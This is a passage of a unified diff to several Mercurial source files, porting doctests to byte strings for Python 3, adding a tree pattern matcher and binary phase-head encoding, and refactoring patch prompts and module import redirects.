+def _matchtree(pattern, tree, placeholder, incompletenodes, matches):
+    if pattern == tree:
+        return True
+    if not isinstance(pattern, tuple) or not isinstance(tree, tuple):
+        return False
+    if pattern == placeholder and tree[0] not in incompletenodes:
+        matches.append(tree)
+        return True
+    if len(pattern) != len(tree):
+        return False
+    return all(_matchtree(p, x, placeholder, incompletenodes, matches)
+               for p, x in zip(pattern, tree))
+
+def matchtree(pattern, tree, placeholder=None, incompletenodes=()):
+    """If a tree matches the pattern, return a list of the tree and nodes
+    matched with the placeholder; Otherwise None
+
+    >>> def f(pattern, tree):
+    ...     m = matchtree(pattern, tree, _, {b'keyvalue', b'list'})
+    ...     if m:
+    ...         return m[1:]
+
+    >>> _ = (b'symbol', b'_')
+    >>> f((b'func', (b'symbol', b'ancestors'), _),
+    ...   (b'func', (b'symbol', b'ancestors'), (b'symbol', b'1')))
+    [('symbol', '1')]
+    >>> f((b'func', (b'symbol', b'ancestors'), _),
+    ...   (b'func', (b'symbol', b'ancestors'), None))
+    >>> f((b'range', (b'dagrange', _, _), _),
+    ...   (b'range',
+    ...     (b'dagrange', (b'symbol', b'1'), (b'symbol', b'2')),
+    ...     (b'symbol', b'3')))
+    [('symbol', '1'), ('symbol', '2'), ('symbol', '3')]
+
+    The placeholder does not match the specified incomplete nodes because
+    an incomplete node (e.g. argument list) cannot construct an expression.
+
+    >>> f((b'func', (b'symbol', b'ancestors'), _),
+    ...   (b'func', (b'symbol', b'ancestors'),
+    ...     (b'list', (b'symbol', b'1'), (b'symbol', b'2'))))
+
+    The placeholder may be omitted, but which shouldn't match a None node.
+
+    >>> _ = None
+    >>> f((b'func', (b'symbol', b'ancestors'), None),
+    ...   (b'func', (b'symbol', b'ancestors'), (b'symbol', b'0')))
+    """
+    if placeholder is not None and not isinstance(placeholder, tuple):
+        raise error.ProgrammingError('placeholder must be a node tuple')
+    matches = [tree]
+    if _matchtree(pattern, tree, placeholder, incompletenodes, matches):
+        return matches
+
 def parseerrordetail(inst):
     """Compose error message from specified ParseError object
     """
@@ -347,27 +438,27 @@
         - ``args``: list of argument names (or None for symbol declaration)
         - ``errorstr``: detail about detected error (or None)
 
-        >>> sym = lambda x: ('symbol', x)
-        >>> symlist = lambda *xs: ('list',) + tuple(sym(x) for x in xs)
-        >>> func = lambda n, a: ('func', sym(n), a)
+        >>> sym = lambda x: (b'symbol', x)
+        >>> symlist = lambda *xs: (b'list',) + tuple(sym(x) for x in xs)
+        >>> func = lambda n, a: (b'func', sym(n), a)
         >>> parsemap = {
-        ...     'foo': sym('foo'),
-        ...     '$foo': sym('$foo'),
-        ...     'foo::bar': ('dagrange', sym('foo'), sym('bar')),
-        ...     'foo()': func('foo', None),
-        ...     '$foo()': func('$foo', None),
-        ...     'foo($1, $2)': func('foo', symlist('$1', '$2')),
-        ...     'foo(bar_bar, baz.baz)':
-        ...         func('foo', symlist('bar_bar', 'baz.baz')),
-        ...     'foo(bar($1, $2))':
-        ...         func('foo', func('bar', symlist('$1', '$2'))),
-        ...     'foo($1, $2, nested($1, $2))':
-        ...         func('foo', (symlist('$1', '$2') +
-        ...                      (func('nested', symlist('$1', '$2')),))),
-        ...     'foo("bar")': func('foo', ('string', 'bar')),
-        ...     'foo($1, $2': error.ParseError('unexpected token: end', 10),
-        ...     'foo("bar': error.ParseError('unterminated string', 5),
-        ...     'foo($1, $2, $1)': func('foo', symlist('$1', '$2', '$1')),
+        ...     b'foo': sym(b'foo'),
+        ...     b'$foo': sym(b'$foo'),
+        ...     b'foo::bar': (b'dagrange', sym(b'foo'), sym(b'bar')),
+        ...     b'foo()': func(b'foo', None),
+        ...     b'$foo()': func(b'$foo', None),
+        ...     b'foo($1, $2)': func(b'foo', symlist(b'$1', b'$2')),
+        ...     b'foo(bar_bar, baz.baz)':
+        ...         func(b'foo', symlist(b'bar_bar', b'baz.baz')),
+        ...     b'foo(bar($1, $2))':
+        ...         func(b'foo', func(b'bar', symlist(b'$1', b'$2'))),
+        ...     b'foo($1, $2, nested($1, $2))':
+        ...         func(b'foo', (symlist(b'$1', b'$2') +
+        ...                      (func(b'nested', symlist(b'$1', b'$2')),))),
+        ...     b'foo("bar")': func(b'foo', (b'string', b'bar')),
+        ...     b'foo($1, $2': error.ParseError(b'unexpected token: end', 10),
+        ...     b'foo("bar': error.ParseError(b'unterminated string', 5),
+        ...     b'foo($1, $2, $1)': func(b'foo', symlist(b'$1', b'$2', b'$1')),
         ... }
         >>> def parse(expr):
         ...     x = parsemap[expr]
@@ -375,42 +466,42 @@
         ...         raise x
         ...     return x
         >>> def trygetfunc(tree):
-        ...     if not tree or tree[0] != 'func' or tree[1][0] != 'symbol':
+        ...     if not tree or tree[0] != b'func' or tree[1][0] != b'symbol':
         ...         return None
         ...     if not tree[2]:
         ...         return tree[1][1], []
-        ...     if tree[2][0] == 'list':
+        ...     if tree[2][0] == b'list':
         ...         return tree[1][1], list(tree[2][1:])
         ...     return tree[1][1], [tree[2]]
         >>> class aliasrules(basealiasrules):
         ...     _parse = staticmethod(parse)
         ...     _trygetfunc = staticmethod(trygetfunc)
         >>> builddecl = aliasrules._builddecl
-        >>> builddecl('foo')
+        >>> builddecl(b'foo')
         ('foo', None, None)
-        >>> builddecl('$foo')
+        >>> builddecl(b'$foo')
         ('$foo', None, "invalid symbol '$foo'")
-        >>> builddecl('foo::bar')
+        >>> builddecl(b'foo::bar')
         ('foo::bar', None, 'invalid format')
-        >>> builddecl('foo()')
+        >>> builddecl(b'foo()')
         ('foo', [], None)
-        >>> builddecl('$foo()')
+        >>> builddecl(b'$foo()')
         ('$foo()', None, "invalid function '$foo'")
-        >>> builddecl('foo($1, $2)')
+        >>> builddecl(b'foo($1, $2)')
         ('foo', ['$1', '$2'], None)
-        >>> builddecl('foo(bar_bar, baz.baz)')
+        >>> builddecl(b'foo(bar_bar, baz.baz)')
         ('foo', ['bar_bar', 'baz.baz'], None)
-        >>> builddecl('foo($1, $2, nested($1, $2))')
+        >>> builddecl(b'foo($1, $2, nested($1, $2))')
         ('foo($1, $2, nested($1, $2))', None, 'invalid argument list')
-        >>> builddecl('foo(bar($1, $2))')
+        >>> builddecl(b'foo(bar($1, $2))')
         ('foo(bar($1, $2))', None, 'invalid argument list')
-        >>> builddecl('foo("bar")')
+        >>> builddecl(b'foo("bar")')
         ('foo("bar")', None, 'invalid argument list')
-        >>> builddecl('foo($1, $2')
+        >>> builddecl(b'foo($1, $2')
         ('foo($1, $2', None, 'at 10: unexpected token: end')
-        >>> builddecl('foo("bar')
+        >>> builddecl(b'foo("bar')
         ('foo("bar', None, 'at 5: unterminated string')
-        >>> builddecl('foo($1, $2, $1)')
+        >>> builddecl(b'foo($1, $2, $1)')
         ('foo', None, 'argument names collide with each other')
         """
         try:
@@ -466,37 +557,42 @@
         ``args`` is a list of alias argument names, or None if the alias
         is declared as a symbol.
 
+        >>> from . import pycompat
         >>> parsemap = {
-        ...     '$1 or foo': ('or', ('symbol', '$1'), ('symbol', 'foo')),
-        ...     '$1 or $bar': ('or', ('symbol', '$1'), ('symbol', '$bar')),
-        ...     '$10 or baz': ('or', ('symbol', '$10'), ('symbol', 'baz')),
-        ...     '"$1" or "foo"': ('or', ('string', '$1'), ('string', 'foo')),
+        ...     b'$1 or foo': (b'or', (b'symbol', b'$1'), (b'symbol', b'foo')),
+        ...     b'$1 or $bar':
+        ...         (b'or', (b'symbol', b'$1'), (b'symbol', b'$bar')),
+        ...     b'$10 or baz':
+        ...         (b'or', (b'symbol', b'$10'), (b'symbol', b'baz')),
+        ...     b'"$1" or "foo"':
+        ...         (b'or', (b'string', b'$1'), (b'string', b'foo')),
         ... }
         >>> class aliasrules(basealiasrules):
         ...     _parse = staticmethod(parsemap.__getitem__)
         ...     _trygetfunc = staticmethod(lambda x: None)
         >>> builddefn = aliasrules._builddefn
         >>> def pprint(tree):
-        ...     print prettyformat(tree, ('_aliasarg', 'string', 'symbol'))
-        >>> args = ['$1', '$2', 'foo']
-        >>> pprint(builddefn('$1 or foo', args))
+        ...     s = prettyformat(tree, (b'_aliasarg', b'string', b'symbol'))
+        ...     print(pycompat.sysstr(s))
+        >>> args = [b'$1', b'$2', b'foo']
+        >>> pprint(builddefn(b'$1 or foo', args))
         (or
-          ('_aliasarg', '$1')
-          ('_aliasarg', 'foo'))
+          (_aliasarg '$1')
+          (_aliasarg 'foo'))
         >>> try:
-        ...     builddefn('$1 or $bar', args)
+        ...     builddefn(b'$1 or $bar', args)
         ... except error.ParseError as inst:
-        ...     print parseerrordetail(inst)
+        ...     print(pycompat.sysstr(parseerrordetail(inst)))
         invalid symbol '$bar'
-        >>> args = ['$1', '$10', 'foo']
-        >>> pprint(builddefn('$10 or baz', args))
+        >>> args = [b'$1', b'$10', b'foo']
+        >>> pprint(builddefn(b'$10 or baz', args))
         (or
-          ('_aliasarg', '$10')
-          ('symbol', 'baz'))
-        >>> pprint(builddefn('"$1" or "foo"', args))
+          (_aliasarg '$10')
+          (symbol 'baz'))
+        >>> pprint(builddefn(b'"$1" or "foo"', args))
         (or
-          ('string', '$1')
-          ('string', 'foo'))
+          (string '$1')
+          (string 'foo'))
         """
         tree = cls._parse(defn)
         if args:
diff --git a/mercurial/patch.py b/mercurial/patch.py
--- a/mercurial/patch.py
+++ b/mercurial/patch.py
@@ -6,7 +6,7 @@
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
-from __future__ import absolute_import
+from __future__ import absolute_import, print_function
 
 import collections
 import copy
@@ -46,9 +46,7 @@
 gitre = re.compile(br'diff --git a/(.*) b/(.*)')
 tabsplitter = re.compile(br'(\t+|[^\t]+)')
 
-class PatchError(Exception):
-    pass
-
+PatchError = error.PatchError
 
 # public functions
 
@@ -205,10 +203,11 @@
 
     # attempt to detect the start of a patch
     # (this heuristic is borrowed from quilt)
-    diffre = re.compile(r'^(?:Index:[ \t]|diff[ \t]|RCS file: |'
-                        r'retrieving revision [0-9]+(\.[0-9]+)*$|'
-                        r'---[ \t].*?^\+\+\+[ \t]|'
-                        r'\*\*\*[ \t].*?^---[ \t])', re.MULTILINE|re.DOTALL)
+    diffre = re.compile(br'^(?:Index:[ \t]|diff[ \t]|RCS file: |'
+                        br'retrieving revision [0-9]+(\.[0-9]+)*$|'
+                        br'---[ \t].*?^\+\+\+[ \t]|'
+                        br'\*\*\*[ \t].*?^---[ \t])',
+                        re.MULTILINE | re.DOTALL)
 
     data = {}
     fd, tmpname = tempfile.mkstemp(prefix='hg-patch-')
@@ -230,7 +229,7 @@
                 pend = subject.find(']')
                 if pend >= 0:
                     subject = subject[pend + 1:].lstrip()
-            subject = re.sub(r'\n[ \t]+', ' ', subject)
+            subject = re.sub(br'\n[ \t]+', ' ', subject)
             ui.debug('Subject: %s\n' % subject)
         if data['user']:
             ui.debug('From: %s\n' % data['user'])
@@ -443,7 +442,6 @@
         which failed to apply and total the total number of hunks for this
         files.
         """
-        pass
 
     def exists(self, fname):
         raise NotImplementedError
@@ -961,8 +959,8 @@
 
     def countchanges(self, hunk):
         """hunk -> (n+,n-)"""
-        add = len([h for h in hunk if h[0] == '+'])
-        rem = len([h for h in hunk if h[0] == '-'])
+        add = len([h for h in hunk if h.startswith('+')])
+        rem = len([h for h in hunk if h.startswith('-')])
         return add, rem
 
     def reversehunk(self):
@@ -973,7 +971,7 @@
         unchanged.
         """
         m = {'+': '-', '-': '+', '\\': '\\'}
-        hunk = ['%s%s' % (m[l[0]], l[1:]) for l in self.hunk]
+        hunk = ['%s%s' % (m[l[0:1]], l[1:]) for l in self.hunk]
         return recordhunk(self.header, self.toline, self.fromline, self.proc,
                           self.before, hunk, self.after)
 
@@ -996,21 +994,18 @@
     def __repr__(self):
         return '<hunk %r@%d>' % (self.filename(), self.fromline)
 
-def filterpatch(ui, headers, operation=None):
-    """Interactively filter patch chunks into applied-only chunks"""
-    if operation is None:
-        operation = 'record'
-    messages = {
+def getmessages():
+    return {
         'multiple': {
             'discard': _("discard change %d/%d to '%s'?"),
             'record': _("record change %d/%d to '%s'?"),
             'revert': _("revert change %d/%d to '%s'?"),
-        }[operation],
+        },
         'single': {
             'discard': _("discard this change to '%s'?"),
             'record': _("record this change to '%s'?"),
             'revert': _("revert this change to '%s'?"),
-        }[operation],
+        },
         'help': {
             'discard': _('[Ynesfdaq?]'
                          '$$ &Yes, discard this change'
@@ -1042,9 +1037,16 @@
                         '$$ Revert &all changes to all remaining files'
                         '$$ &Quit, reverting no changes'
                         '$$ &? (display help)')
-        }[operation]
+        }
     }
 
+def filterpatch(ui, headers, operation=None):
+    """Interactively filter patch chunks into applied-only chunks"""
+    messages = getmessages()
+
+    if operation is None:
+        operation = 'record'
+
     def prompt(skipfile, skipall, query, chunk):
         """prompt query, and process base inputs
 
@@ -1061,7 +1063,7 @@
         if skipfile is not None:
             return skipfile, skipfile, skipall, newpatches
         while True:
-            resps = messages['help']
+            resps = messages['help'][operation]
             r = ui.promptchoice("%s %s" % (query, resps))
             ui.write("\n")
             if r == 8: # ?
@@ -1166,10 +1168,11 @@
             if skipfile is None and skipall is None:
                 chunk.pretty(ui)
             if total == 1:
-                msg = messages['single'] % chunk.filename()
+                msg = messages['single'][operation] % chunk.filename()
             else:
                 idx = pos - len(h.hunks) + i
-                msg = messages['multiple'] % (idx, total, chunk.filename())
+                msg = messages['multiple'][operation] % (idx, total,
+                                                         chunk.filename())
             r, skipfile, skipall, newpatches = prompt(skipfile,
                     skipall, msg, chunk)
             if r:
@@ -1476,7 +1479,7 @@
     This function operates on hunks coming out of patch.filterpatch, that is
     a list of the form: [header1, hunk1, hunk2, header2...]. Example usage:
 
-    >>> rawpatch = """diff --git a/folder1/g b/folder1/g
+    >>> rawpatch = b"""diff --git a/folder1/g b/folder1/g
     ... --- a/folder1/g
     ... +++ b/folder1/g
     ... @@ -1,7 +1,7 @@
@@ -1489,7 +1492,7 @@
     ...  5
     ...  d
     ... +lastline"""
-    >>> hunks = parsepatch(rawpatch)
+    >>> hunks = parsepatch([rawpatch])
     >>> hunkscomingfromfilterpatch = []
     >>> for h in hunks:
     ...     hunkscomingfromfilterpatch.append(h)
@@ -1500,9 +1503,9 @@
     >>> fp = util.stringio()
     >>> for c in reversedhunks:
     ...      c.write(fp)
-    >>> fp.seek(0)
+    >>> fp.seek(0) or None
     >>> reversedpatch = fp.read()
-    >>> print reversedpatch
+    >>> print(pycompat.sysstr(reversedpatch))
     diff --git a/folder1/g b/folder1/g
     --- a/folder1/g
     +++ b/folder1/g
@@ -1538,7 +1541,7 @@
 
     If maxcontext is not None, trim context lines if necessary.
 
-    >>> rawpatch = '''diff --git a/folder1/g b/folder1/g
+    >>> rawpatch = b'''diff --git a/folder1/g b/folder1/g
     ... --- a/folder1/g
     ... +++ b/folder1/g
     ... @@ -1,8 +1,10 @@
@@ -1559,7 +1562,7 @@
     ...     header.write(out)
     ...     for hunk in header.hunks:
     ...         hunk.write(out)
-    >>> print(out.getvalue())
+    >>> print(pycompat.sysstr(out.getvalue()))
     diff --git a/folder1/g b/folder1/g
     --- a/folder1/g
     +++ b/folder1/g
@@ -1664,17 +1667,17 @@
 
     Returns (stripped components, path in repository).
 
-    >>> pathtransform('a/b/c', 0, '')
+    >>> pathtransform(b'a/b/c', 0, b'')
     ('', 'a/b/c')
-    >>> pathtransform('   a/b/c   ', 0, '')
+    >>> pathtransform(b'   a/b/c   ', 0, b'')
     ('', '   a/b/c')
-    >>> pathtransform('   a/b/c   ', 2, '')
+    >>> pathtransform(b'   a/b/c   ', 2, b'')
     ('a/b/', 'c')
-    >>> pathtransform('a/b/c', 0, 'd/e/')
+    >>> pathtransform(b'a/b/c', 0, b'd/e/')
     ('', 'd/e/a/b/c')
-    >>> pathtransform('   a//b/c   ', 2, 'd/e/')
+    >>> pathtransform(b'   a//b/c   ', 2, b'd/e/')
     ('a//b/', 'd/e/c')
-    >>> pathtransform('a/b/c', 3, '')
+    >>> pathtransform(b'a/b/c', 3, b'')
     Traceback (most recent call last):
     PatchError: unable to strip away 1 of 3 dirs from a/b/c
     '''
@@ -1690,7 +1693,7 @@
                              (count, strip, path))
         i += 1
         # consume '//' in the path
-        while i < pathlen - 1 and path[i] == '/':
+        while i < pathlen - 1 and path[i:i + 1] == '/':
             i += 1
         count -= 1
     return path[:i].lstrip(), prefix + path[i:].rstrip()
@@ -1758,7 +1761,7 @@
     - ('hunk',    [hunk_lines])
     - ('range',   (-start,len, +start,len, proc))
     """
-    lines_re = re.compile(r'@@ -(\d+),(\d+) \+(\d+),(\d+) @@\s*(.*)')
+    lines_re = re.compile(br'@@ -(\d+),(\d+) \+(\d+),(\d+) @@\s*(.*)')
     lr = linereader(fp)
 
     def scanwhile(first, p):
@@ -1785,7 +1788,7 @@
             else:
                 lr.push(fromfile)
             yield 'file', header
-        elif line[0] == ' ':
+        elif line[0:1] == ' ':
             yield 'context', scanwhile(line, lambda l: l[0] in ' \\')
         elif line[0] in '-+':
             yield 'hunk', scanwhile(line, lambda l: l[0] in '-+\\')
@@ -2235,7 +2238,7 @@
                 return v
         if forceplain is not None and ui.plain():
             return forceplain
-        return getter(section, name or key, None, untrusted=untrusted)
+        return getter(section, name or key, untrusted=untrusted)
 
     # core options, expected to be understood by every diff parser
     buildopts = {
@@ -2282,6 +2285,7 @@
                                           'ignorewsamount')
         buildopts['ignoreblanklines'] = get('ignore_blank_lines',
                                             'ignoreblanklines')
+        buildopts['ignorewseol'] = get('ignore_space_at_eol', 'ignorewseol')
     if formatchanging:
         buildopts['text'] = opts and opts.get('text')
         binary = None if opts is None else opts.get('binary')
@@ -2292,7 +2296,8 @@
     return mdiff.diffopts(**pycompat.strkwargs(buildopts))
 
 def diff(repo, node1=None, node2=None, match=None, changes=None,
-         opts=None, losedatafn=None, prefix='', relroot='', copy=None):
+         opts=None, losedatafn=None, prefix='', relroot='', copy=None,
+         hunksfilterfn=None):
     '''yields diff of changes to files between two nodes, or node and
     working directory.
 
@@ -2314,14 +2319,26 @@
     patterns that fall outside it will be ignored.
 
     copy, if not empty, should contain mappings {dst@y: src@x} of copy
-    information.'''
-    for header, hunks in diffhunks(repo, node1=node1, node2=node2, match=match,
-                                   changes=changes, opts=opts,
-                                   losedatafn=losedatafn, prefix=prefix,
-                                   relroot=relroot, copy=copy):
+    information.
+
+    hunksfilterfn, if not None, should be a function taking a filectx and
+    hunks generator that may yield filtered hunks.
+    '''
+    for fctx1, fctx2, hdr, hunks in diffhunks(
+            repo, node1=node1, node2=node2,
+            match=match, changes=changes, opts=opts,
+            losedatafn=losedatafn, prefix=prefix, relroot=relroot, copy=copy,
+    ):
+        if hunksfilterfn is not None:
+            # If the file has been removed, fctx2 is None; but this should
+            # not occur here since we catch removed files early in
+            # cmdutil.getloglinerangerevs() for 'hg log -L'.
+            assert fctx2 is not None, \
+                'fctx2 unexpectly None in diff hunks filtering'
+            hunks = hunksfilterfn(fctx2, hunks)
         text = ''.join(sum((list(hlines) for hrange, hlines in hunks), []))
-        if header and (text or len(header) > 1):
-            yield '\n'.join(header) + '\n'
+        if hdr and (text or len(hdr) > 1):
+            yield '\n'.join(hdr) + '\n'
         if text:
             yield text
 
@@ -2683,7 +2700,7 @@
                                             content2, date2,
                                             path1, path2, opts=opts)
             header.extend(uheaders)
-        yield header, hunks
+        yield fctx1, fctx2, header, hunks
 
 def diffstatsum(stats):
     maxfile, maxtotal, addtotal, removetotal, binary = 0, 0, 0, 0, False
diff --git a/mercurial/pathutil.py b/mercurial/pathutil.py
--- a/mercurial/pathutil.py
+++ b/mercurial/pathutil.py
@@ -203,9 +203,9 @@
 
     See also issue3033 for detail about need of this function.
 
-    >>> normasprefix('/foo/bar').replace(os.sep, '/')
+    >>> normasprefix(b'/foo/bar').replace(pycompat.ossep, b'/')
     '/foo/bar/'
-    >>> normasprefix('/').replace(os.sep, '/')
+    >>> normasprefix(b'/').replace(pycompat.ossep, b'/')
     '/'
     '''
     d, p = os.path.splitdrive(path)
diff --git a/mercurial/peer.py b/mercurial/peer.py
--- a/mercurial/peer.py
+++ b/mercurial/peer.py
@@ -8,9 +8,9 @@
 
 from __future__ import absolute_import
 
-from .i18n import _
 from . import (
     error,
+    pycompat,
     util,
 )
 
@@ -35,7 +35,9 @@
     def __getattr__(self, name):
         def call(*args, **opts):
             resref = future()
-            self.calls.append((name, args, opts, resref,))
+            # Please don't invent non-ascii method names, or you will
+            # give core hg a very sad time.
+            self.calls.append((name.encode('ascii'), args, opts, resref,))
             return resref
         return call
     def submit(self):
@@ -49,15 +51,6 @@
     def results(self):
         raise NotImplementedError()
 
-class localbatch(batcher):
-    '''performs the queued calls directly'''
-    def __init__(self, local):
-        batcher.__init__(self)
-        self.local = local
-    def submit(self):
-        for name, args, opts, resref in self.calls:
-            resref.set(getattr(self.local, name)(*args, **opts))
-
 class localiterbatcher(iterbatcher):
     def __init__(self, local):
         super(iterbatcher, self).__init__()
@@ -69,7 +62,8 @@
 
     def results(self):
         for name, args, opts, resref in self.calls:
-            yield getattr(self.local, name)(*args, **opts)
+            resref.set(getattr(self.local, name)(*args, **opts))
+            yield resref.value
 
 def batchable(f):
     '''annotation for batchable methods
@@ -78,9 +72,6 @@
 
     @batchable
     def sample(self, one, two=None):
-        # Handle locally computable results first:
-        if not one:
-            yield "a local result", None
         # Build list of encoded arguments suitable for your wire protocol:
         encargs = [('one', encode(one),), ('two', encode(two),)]
         # Create future for injection of encoded result:
@@ -102,54 +93,8 @@
         if not encresref:
             return encargsorres # a local result in this case
         self = args[0]
-        encresref.set(self._submitone(f.func_name, encargsorres))
+        cmd = pycompat.bytesurl(f.__name__)  # ensure cmd is ascii bytestr
+        encresref.set(self._submitone(cmd, encargsorres))
         return next(batchable)
     setattr(plain, 'batchable', f)
     return plain
-
-class peerrepository(object):
-
-    def batch(self):
-        return localbatch(self)
-
-    def iterbatch(self):
-        """Batch requests but allow iterating over the results.
-
-        This is to allow interleaving responses with things like
-        progress updates for clients.
-        """
-        return localiterbatcher(self)
-
-    def capable(self, name):
-        '''tell whether repo supports named capability.
-        return False if not supported.
-        if boolean capability, return True.
-        if string capability, return string.'''
-        caps = self._capabilities()
-        if name in caps:
-            return True
-        name_eq = name + '='
-        for cap in caps:
-            if cap.startswith(name_eq):
-                return cap[len(name_eq):]
-        return False
-
-    def requirecap(self, name, purpose):
-        '''raise an exception if the given capability is not present'''
-        if not self.capable(name):
-            raise error.CapabilityError(
-                _('cannot %s; remote repository does not '
-                  'support the %r capability') % (purpose, name))
-
-    def local(self):
-        '''return peer as a localrepo, or None'''
-        return None
-
-    def peer(self):
-        return self
-
-    def canpush(self):
-        return True
-
-    def close(self):
-        pass
diff --git a/mercurial/phases.py b/mercurial/phases.py
--- a/mercurial/phases.py
+++ b/mercurial/phases.py
@@ -103,6 +103,7 @@
 from __future__ import absolute_import
 
 import errno
+import struct
 
 from .i18n import _
 from .node import (
@@ -119,6 +120,8 @@
     util,
 )
 
+_fphasesentry = struct.Struct('>i20s')
+
 allphases = public, draft, secret = range(3)
 trackedphases = allphases[1:]
 phasenames = ['public', 'draft', 'secret']
@@ -154,6 +157,34 @@
         dirty = True
     return roots, dirty
 
+def binaryencode(phasemapping):
+    """encode a 'phase -> nodes' mapping into a binary stream
+
+    Since phases are integer the mapping is actually a python list:
+    [[PUBLIC_HEADS], [DRAFTS_HEADS], [SECRET_HEADS]]
+    """
+    binarydata = []
+    for phase, nodes in enumerate(phasemapping):
+        for head in nodes:
+            binarydata.append(_fphasesentry.pack(phase, head))
+    return ''.join(binarydata)
+
+def binarydecode(stream):
+    """decode a binary stream into a 'phase -> nodes' mapping
+
+    Since phases are integer the mapping is actually a python list."""
+    headsbyphase = [[] for i in allphases]
+    entrysize = _fphasesentry.size
+    while True:
+        entry = stream.read(entrysize)
+        if len(entry) < entrysize:
+            if entry:
+                raise error.Abort(_('bad phase-heads stream'))
+            break
+        phase, node = _fphasesentry.unpack(entry)
+        headsbyphase[phase].append(node)
+    return headsbyphase
+
 def _trackphasechange(data, rev, old, new):
     """add a phase move the <data> dictionnary
 
@@ -471,8 +502,10 @@
     # Use ordered dictionary so behavior is deterministic.
     keys = util.sortdict()
     value = '%i' % draft
+    cl = repo.unfiltered().changelog
     for root in repo._phasecache.phaseroots[draft]:
-        keys[hex(root)] = value
+        if repo._phasecache.phase(repo, cl.rev(root)) <= draft:
+            keys[hex(root)] = value
 
     if repo.publishing():
         # Add an extra data to let remote know we are a publishing
@@ -527,11 +560,18 @@
         headsbyphase[phase] = [cl.node(r) for r in repo.revs(revset, subset)]
     return headsbyphase
 
-def updatephases(repo, tr, headsbyphase):
+def updatephases(repo, trgetter, headsbyphase):
     """Updates the repo with the given phase heads"""
     # Now advance phase boundaries of all but secret phase
+    #
+    # run the update (and fetch transaction) only if there are actually things
+    # to update. This avoid creating empty transaction during no-op operation.
+
     for phase in allphases[:-1]:
-        advanceboundary(repo, tr, phase, headsbyphase[phase])
+        revset = '%%ln - %s()' % phasenames[phase]
+        heads = [c.node() for c in repo.set(revset, headsbyphase[phase])]
+        if heads:
+            advanceboundary(repo, trgetter(), phase, heads)
 
 def analyzeremotephases(repo, subset, roots):
     """Compute phases heads and root in a subset of node from root dict
@@ -564,6 +604,27 @@
     publicheads = newheads(repo, subset, draftroots)
     return publicheads, draftroots
 
+class remotephasessummary(object):
+    """summarize phase information on the remote side
+
+    :publishing: True is the remote is publishing
+    :publicheads: list of remote public phase heads (nodes)
+    :draftheads: list of remote draft phase heads (nodes)
+    :draftroots: list of remote draft phase root (nodes)
+    """
+
+    def __init__(self, repo, remotesubset, remoteroots):
+        unfi = repo.unfiltered()
+        self._allremoteroots = remoteroots
+
+        self.publishing = remoteroots.get('publishing', False)
+
+        ana = analyzeremotephases(repo, remotesubset, remoteroots)
+        self.publicheads, self.draftroots = ana
+        # Get the list of all "heads" revs draft on remote
+        dheads = unfi.set('heads(%ln::%ln)', self.draftroots, remotesubset)
+        self.draftheads = [c.node() for c in dheads]
+
 def newheads(repo, heads, roots):
     """compute new head of a subset minus another
 
@@ -581,7 +642,7 @@
     Handle all possible values for the phases.new-commit options.
 
     """
-    v = ui.config('phases', 'new-commit', draft)
+    v = ui.config('phases', 'new-commit')
     try:
         return phasenames.index(v)
     except ValueError:
@@ -594,3 +655,12 @@
 def hassecret(repo):
     """utility function that check if a repo have any secret changeset."""
     return bool(repo._phasecache.phaseroots[2])
+
+def preparehookargs(node, old, new):
+    if old is None:
+        old = ''
+    else:
+        old = phasenames[old]
+    return {'node': node,
+            'oldphase': old,
+            'phase': phasenames[new]}
diff --git a/mercurial/policy.py b/mercurial/policy.py
--- a/mercurial/policy.py
+++ b/mercurial/policy.py
@@ -75,7 +75,16 @@
     (r'cext', r'diffhelpers'): 1,
     (r'cext', r'mpatch'): 1,
     (r'cext', r'osutil'): 1,
-    (r'cext', r'parsers'): 1,
+    (r'cext', r'parsers'): 3,
+}
+
+# map import request to other package or module
+_modredirects = {
+    (r'cext', r'charencode'): (r'cext', r'parsers'),
+    (r'cffi', r'base85'): (r'pure', r'base85'),
+    (r'cffi', r'charencode'): (r'pure', r'charencode'),
+    (r'cffi', r'diffhelpers'): (r'pure', r'diffhelpers'),
+    (r'cffi', r'parsers'): (r'pure', r'parsers'),
 }
 
 def _checkmod(pkgname, modname, mod):
@@ -94,11 +103,14 @@
         raise ImportError(r'invalid HGMODULEPOLICY %r' % policy)
     assert verpkg or purepkg
     if verpkg:
+        pn, mn = _modredirects.get((verpkg, modname), (verpkg, modname))
         try:
-            mod = _importfrom(verpkg, modname)
-            _checkmod(verpkg, modname, mod)
+            mod = _importfrom(pn, mn)
+            if pn == verpkg:
+                _checkmod(pn, mn, mod)
             return mod
         except ImportError:
             if not purepkg:
                 raise
-    return _importfrom(purepkg, modname)
+    pn, mn = _modredirects.get((purepkg, modname), (purepkg, modname))
+    return _importfrom(pn, mn)
diff --git a/mercurial/posix.py b/mercurial/posix.py
--- a/mercurial/posix.py
+++ b/mercurial/posix.py
@@ -52,14 +52,14 @@
     '''Same as posixpath.split, but faster
 
     >>> import posixpath
-    >>> for f in ['/absolute/path/to/file',
-    ...           'relative/path/to/file',
-    ...           'file_alone',
-    ...           'path/to/directory/',
-    ...           '/multiple/path//separators',
-    ...           '/file_at_root',
-    ...           '///multiple_leading_separators_at_root',
-    ...           '']:
+    >>> for f in [b'/absolute/path/to/file',
+    ...           b'relative/path/to/file',
+    ...           b'file_alone',
+    ...           b'path/to/directory/',
+    ...           b'/multiple/path//separators',
+    ...           b'/file_at_root',
+    ...           b'///multiple_leading_separators_at_root',
+    ...           b'']:
     ...     assert split(f) == posixpath.split(f), f
     '''
     ht = p.rsplit('/', 1)
@@ -300,7 +300,7 @@
 def checkosfilename(path):
     '''Check that the base-relative path is a valid filename on this platform.
     Returns None if the path is ok, or a UI string describing the problem.'''
-    pass # on posix platforms, every path is ok
+    return None # on posix platforms, every path is ok
 
 def setbinary(fd):
     pass
@@ -332,7 +332,7 @@
 # fallback normcase function for non-ASCII strings
 normcasefallback = normcase
 
-if pycompat.sysplatform == 'darwin':
+if pycompat.isdarwin:
 
     def normcase(path):
         '''
@@ -342,13 +342,13 @@
         - lowercase
         - omit ignored characters [200c-200f, 202a-202e, 206a-206f,feff]
 
-        >>> normcase('UPPER')
+        >>> normcase(b'UPPER')
         'upper'
-        >>> normcase('Caf\xc3\xa9')
+        >>> normcase(b'Caf\\xc3\\xa9')
         'cafe\\xcc\\x81'
-        >>> normcase('\xc3\x89')
+        >>> normcase(b'\\xc3\\x89')
         'e\\xcc\\x81'
-        >>> normcase('\xb8\xca\xc3\xca\xbe\xc8.JPG') # issue3918
+        >>> normcase(b'\\xb8\\xca\\xc3\\xca\\xbe\\xc8.JPG') # issue3918
